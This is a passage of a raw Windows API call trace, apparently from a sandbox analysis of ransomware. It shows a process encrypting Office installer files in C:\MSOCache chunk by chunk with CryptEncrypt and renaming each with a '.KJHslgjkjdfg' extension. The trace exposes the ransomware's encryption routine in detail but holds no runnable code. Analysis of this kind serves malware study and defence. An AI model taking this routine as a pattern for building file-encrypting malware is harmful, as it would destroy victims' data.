nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.781] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.781] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.803] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.807] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.809] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.809] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.809] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.809] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.821] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.825] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.825] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.826] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.826] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.826] SetEndOfFile (hFile=0x124) returned 1 [0137.829] GetProcessHeap () returned 0x2a0000 [0137.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.829] GetProcessHeap () returned 0x2a0000 [0137.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.829] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.kjhslgjkjdfg")) returned 1 [0137.831] CloseHandle (hObject=0x124) returned 1 [0137.831] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0137.831] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.831] GetProcessHeap () returned 0x2a0000 [0137.831] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.831] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.831] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0137.832] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xc, lpOverlapped=0x0) returned 1 [0137.836] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.836] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.836] GetProcessHeap () returned 0x2a0000 [0137.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.836] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0137.836] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.837] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0137.837] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0137.837] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0137.837] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0137.837] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.838] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0137.838] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.838] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.838] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.838] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x41d4, lpOverlapped=0x0) returned 1 [0137.848] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x41e0) returned 1 [0137.848] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.848] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x41e0, lpOverlapped=0x0) returned 1 [0137.849] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.849] SetEndOfFile (hFile=0x124) returned 1 [0137.852] GetProcessHeap () returned 0x2a0000 [0137.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.852] GetProcessHeap () returned 0x2a0000 [0137.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.852] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.kjhslgjkjdfg")) returned 1 [0137.855] CloseHandle (hObject=0x124) returned 1 [0137.855] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0137.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.865] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=177720283) returned 1 [0137.865] GetProcessHeap () returned 0x2a0000 [0137.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.865] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.865] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.865] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x5, lpOverlapped=0x0) returned 1 [0137.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.885] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.885] GetProcessHeap () returned 0x2a0000 [0137.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.885] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0137.885] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.886] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0137.886] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0137.886] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0137.886] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0137.886] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.886] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0137.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.886] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.886] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.886] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.978] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.981] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.981] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.982] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.983] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.983] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0138.160] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0138.163] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.164] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0138.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.166] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0138.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0138.166] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0138.185] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0138.189] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.189] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0138.190] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.190] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0138.190] CryptDestroyKey (hKey=0x2c6260) returned 1 [0138.190] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.190] SetEndOfFile (hFile=0x124) returned 1 [0138.194] GetProcessHeap () returned 0x2a0000 [0138.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0138.194] GetProcessHeap () returned 0x2a0000 [0138.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0138.195] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.kjhslgjkjdfg")) returned 1 [0138.195] CloseHandle (hObject=0x124) returned 1 [0138.195] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0138.195] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0138.197] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=222948913) returned 1 [0138.197] GetProcessHeap () returned 0x2a0000 [0138.197] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0138.197] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0138.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.197] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0xf, lpOverlapped=0x0) returned 1 [0138.210] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0138.210] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0138.210] GetProcessHeap () returned 0x2a0000 [0138.210] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0138.210] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0138.210] CryptDestroyKey (hKey=0x2c6260) returned 1 [0138.210] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0138.211] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0138.211] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0138.211] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0138.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0138.211] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0138.211] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0138.211] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0138.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0138.211] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0138.270] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0138.273] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, 